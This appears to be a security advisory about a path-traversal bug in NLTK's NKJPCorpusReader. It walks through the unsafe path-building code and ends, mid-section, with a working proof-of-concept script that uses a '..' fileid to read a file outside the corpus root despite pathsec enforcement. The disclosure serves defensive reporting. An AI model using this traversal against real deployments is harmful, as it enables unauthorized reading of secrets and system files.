Acronym: Natural Language Toolkit (NLTK): Path Traversal in NKJPCorpusReader leads to Arbitrary File Read and bypasses

### Summary A path-traversal vulnerability in `NKJPCorpusReader` allows an attacker who can influence the `fileids` argument of its public read methods (`header`, `raw`, `words`, `sents`, `tagged_words`) to read files outside the corpus root. The reader builds the file path with no containment check and opens it with the builtin `open()`, so it bypasses NLTK's `nltk.pathsec` sandbox — including the strict `ENFORCE = True` mode that `SECURITY.md` recommends for web/multi-tenant deployments. `header()` returns the parsed content of the out-of-root file to the caller (arbitrary file read). ### Details `SECURITY.md` promises that file access is "validated against allowed NLTK data directories" and that with `nltk.pathsec.ENFORCE = True` "unauthorized file access … will raise `PermissionError`." That guarantee is enforced via `FileSystemPathPointer.open()` / `CorpusReader.open()`, which call `nltk.pathsec.validate_path(...)`. `NKJPCorpusReader` never uses that protected path. In `nltk/corpus/reader/nkjp.py`: - `add_root()` builds the path by **plain string concatenation** with no normalization or containment check: ```python def add_root(self, fileid): # lines 96-102 if self.root in fileid: return fileid # attacker-controlled value returned unchanged return self.root + fileid # plain concat, '..' not stripped ``` - The header view appends a fixed basename and passes the string straight into the corpus view (which opens it with the builtin `open()`): ```python class NKJPCorpus_Header_View(XMLCorpusView): # line 181 def __init__(self, filename, **kwargs): XMLCorpusView.__init__(self, filename + "header.xml", self.tagspec) # line 189 ``` - The other modes reach the filesystem through `XML_Tool`, which uses a raw `os.path.join` (not the hardened `FileSystemPathPointer.join()`) and the builtin `open()`: ```python class XML_Tool: # line 243 def __init__(self, root, filename): self.read_file = os.path.join(root, filename) # line 251 def build_preprocessed_file(self): fr = open(self.read_file) # line 256 — pathsec never consulted ``` Because `open()` is the builtin (not `PathPointer.open()`), the `pathsec` sentinel is never invoked, so `ENFORCE = True` does not block the access. For comparison, the safe API `CorpusReader.open()` (`nltk/corpus/reader/api.py:222`) rejects `..`/absolute fileids and calls `validate_path(..., required_root=...)` before opening — `NKJPCorpusReader` simply does not go through it. ### PoC Tested against `nltk==3.9.4` (latest PyPI release) and current `develop`. ``` pip install "nltk==3.9.4" python3 poc.py ``` `poc.py`: ```python import builtins, os, shutil, tempfile, warnings warnings.simplefilter("ignore") import nltk, nltk.pathsec as pathsec from nltk.corpus.reader.nkjp import NKJPCorpusReader print("nltk", nltk.__version__) # A legitimate, empty NKJP corpus root (what a real app has). root = tempfile.mkdtemp(prefix="nkjp_corpus_root_") os.makedirs(os.path.join(root, "sample"), exist_ok=True) open(os.path.join(root, "sample", "header.xml"), "w").write("<x/>") # The attacker's target: a file OUTSIDE the corpus root. secret_dir = tempfile.mkdtemp(prefix="OUTSIDE_ROOT_") open(os.path.join(secret_dir, "header.xml"), "w").write( "<teiHeader><fileDesc><sourceDesc><bibl>" "<title>SECRET-API-KEY=sk-live-DEADBEEF</title>" "</bibl></sourceDesc></fileDesc></teiHeader>") # Enable the strict mode SECURITY.md recommends for web / multi-tenant. pathsec.ENFORCE = True print("ENFORCE =", pathsec.ENFORCE) # Prove the out-of-root read and that pathsec is never consulted. opened = []; real = builtins.open builtins.open = lambda f, *a, **k: (opened.append(str(f)), real(f, *a, **k))[1] reader = NKJPCorpusReader(root=root + "/", fileids="sample") # Attacker-controlled `fileids`; '..' escapes the corpus root: evil = root + "/../../../../../../.." + secret_dir + "/" try: result = reader.header(fileids=[evil]) finally: builtins.open = real print("opened outside root:", [p for p in opened if "OUTSIDE_ROOT_" in p][:1]) print("disclosed content :", result[0]["title"]) shutil.rmtree(root, ignore_errors=True); shutil.rmtree(secret_dir, ignore_errors=True) ``` Output (unmodified): ``` nltk 3.9.4 ENFORCE = True opened outside root: ['/tmp/nkjp_corpus_root_XXXX/../../../../../../../tmp/OUTSIDE_ROOT_YYYY/header.xml'] disclosed content : SECRET-API-KEY=sk-live-DEADBEEF ``` With `ENFORCE = True`, NLTK opened a file outside the corpus root via the builtin `open()` (no `PermissionError`, no warning) and returned its content. ### Impac

• github.com/nltk/nltk/security/advisories/GHSA-6hm5-jgcp-p838 (opens in a new tab)
• github.com/nltk/nltk (opens in a new tab)

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